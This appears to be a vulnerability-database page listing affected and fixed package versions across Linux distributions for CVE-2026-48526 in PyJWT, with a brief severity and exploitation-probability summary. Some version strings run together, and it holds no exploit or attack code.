0:4.10.0-110.el9_8.3
fence-agents-ilo-ssh
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ilo2
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-intelmodular
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ipdu
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ipmilan
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-kdump
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-kdump-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-kubevirt
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-kubevirt-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-lpar
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-mpath
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-nutanix-ahv
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-openstack
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-redfish
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-rhevm
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-rsa
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-rsb
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-sbd
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-scsi
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-virsh
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-vmware-rest
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-vmware-soap
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-wti
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-zvm
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-virt
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-virt-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-virtd
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-virtd-cpg
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents
Rocky Linux:10
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents
Rocky Linux:9
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
pyjwt
Root:PyPI
before 2.9.0+aikido.1
2.9.0+aikido.1
PyJWT
Root:PyPI
before 2.9.0+aikido.4
2.9.0+aikido.42.10.1+aikido.42.5.0+aikido.32.12.1+aikido.12.4.0+aikido.42.8.0+aikido.32.12.0+aikido.12.4.0+aikido.52.12.0+aikido.22.12.1+aikido.22.10.1+aikido.52.8.0+aikido.42.9.0+aikido.52.5.0+aikido.42.9.0+aikido.62.10.1+aikido.62.8.0+aikido.52.5.0+aikido.52.12.0+aikido.32.12.1+aikido.32.4.0+aikido.62.10.1+aikido.72.12.0+aikido.42.4.0+aikido.72.12.0+aikido.52.8.0+aikido.62.12.1+aikido.42.5.0+aikido.62.12.1+aikido.5
PyJWT
Root:PyPI
before 2.12.1+aikido.5
2.12.1+aikido.52.13.0+aikido.1
python-PyJWT
SUSE:Linux Micro 6.1
From an advisory covering 5 CVEs
before 2.12.1-slfo.1.1_2.1
2.12.1-slfo.1.1_2.1
python-PyJWT
SUSE:Linux Enterprise Server 16.0
From an advisory covering 5 CVEs
before 2.12.1-160000.2.1
2.12.1-160000.2.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 5 CVEs
before 2.12.1-160000.2.1
2.12.1-160000.2.1
python-PyJWT
SUSE:Linux Micro 6.2
From an advisory covering 5 CVEs
before 2.12.1-160000.2.1
2.12.1-160000.2.1
python-PyJWT
SUSE:Linux Micro 6.0
From an advisory covering 5 CVEs
before 2.9.0-3.1
2.9.0-3.1
python-PyJWT
SUSE:Linux Enterprise Module for Public Cloud 15 SP4
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise Module for Python 3 15 SP7
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 5 CVEs
before 2.8.0-150400.8.13.1
2.8.0-150400.8.13.1
python-PyJWT
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise Module for Basesystem 15 SP7
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 4 CVEs
before 2.4.0-150200.3.14.1
2.4.0-150200.3.14.1
pyjwt
Ubuntu:Pro:16.04:LTS
before 1.3.0-1ubuntu0.1+esm2, plus listed versions
1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm1
1.3.0-1ubuntu0.1+esm2
pyjwt
Ubuntu:Pro:18.04:LTS
before 1.5.3+ds1-1ubuntu0.1+esm2, plus listed versions
1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm1
1.5.3+ds1-1ubuntu0.1+esm2
pyjwt
Ubuntu:Pro:20.04:LTS
before 1.7.1-2ubuntu2.1+esm2, plus listed versions
1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm1
1.7.1-2ubuntu2.1+esm2
pyjwt
Ubuntu:22.04:LTS
before 2.3.0-1ubuntu0.4, plus listed versions
1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.3
2.3.0-1ubuntu0.4
pyjwt
Ubuntu:24.04:LTS
before 2.7.0-1ubuntu0.2, plus listed versions
2.7.0-12.7.0-1ubuntu0.1
2.7.0-1ubuntu0.2
pyjwt
Ubuntu:25.10
All versions, plus listed versions
2.10.1-22.10.1-2ubuntu0.1
None known
pyjwt
Ubuntu:26.04:LTS
before 2.10.1-4ubuntu1.1, plus listed versions
2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu1
2.10.1-4ubuntu1.1
pyjwt
Ubuntu:Pro:16.04:LTS
From an advisory covering 5 CVEs
before 1.3.0-1ubuntu0.1+esm2, plus listed versions
1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm1
1.3.0-1ubuntu0.1+esm2
pyjwt
Ubuntu:Pro:18.04:LTS
From an advisory covering 5 CVEs
before 1.5.3+ds1-1ubuntu0.1+esm2, plus listed versions
1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm1
1.5.3+ds1-1ubuntu0.1+esm2
pyjwt
Ubuntu:Pro:20.04:LTS
From an advisory covering 5 CVEs
before 1.7.1-2ubuntu2.1+esm2, plus listed versions
1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm1
1.7.1-2ubuntu2.1+esm2
pyjwt
Ubuntu:22.04:LTS
From an advisory covering 5 CVEs
before 2.3.0-1ubuntu0.4, plus listed versions
1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.3
2.3.0-1ubuntu0.4
pyjwt
Ubuntu:24.04:LTS
From an advisory covering 5 CVEs
before 2.7.0-1ubuntu0.2, plus listed versions
2.7.0-12.7.0-1ubuntu0.1
2.7.0-1ubuntu0.2
pyjwt
Ubuntu:26.04:LTS
From an advisory covering 5 CVEs
before 2.10.1-4ubuntu1.1, plus listed versions
2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu1
2.10.1-4ubuntu1.1
python-PyJWT
openSUSE:Tumbleweed
From an advisory covering 5 CVEs
before 2.13.0-1.1
2.13.0-1.1
python-PyJWT
openSUSE:Leap 16.0
From an advisory covering 5 CVEs
before 2.12.1-160000.2.1
2.12.1-160000.2.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-48526 is a high vulnerability (CVSS 7.4) in Jpadilla Pyjwt, published May 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in pyjwt 2.14.0.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 668 package rows, 9 versions, 181 references and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open